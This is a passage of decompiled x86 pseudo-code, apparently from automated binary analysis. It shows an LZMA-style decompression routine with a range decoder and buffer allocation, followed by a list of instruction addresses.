									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406d5f
0x00406d5f
0x00406d64
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00000000
0x0040743e
0x00406d66
0x00406d66
0x00406d6a
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d8b
0x00406d92
0x00406d95
0x00406da0
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406daf
0x00406dcd
0x00406dcf
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406ff4
0x00406ff7
0x00406f9a
0x00406fa0
0x00000000
0x00000000
0x00000000
0x00406ff9
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f97
0x00000000
0x00406f97
0x00406db1
0x00406db1
0x00406db4
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406ea3
0x00406ea6
0x00406e1d
0x00406e1d
0x00406e23
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f30
0x00406f33
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed3
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3e
0x00406f3e
0x00406f41
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x0040710a
0x0040710a
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x00406e2f
0x00000000
0x00000000
0x00000000
0x00406eac
0x00406df8
0x00406dfc
0x00407569
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e1a
0x00000000
0x00406e1a
0x00406ea6
0x00406daf
0x00406be3
0x00406be3
0x00406bec
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
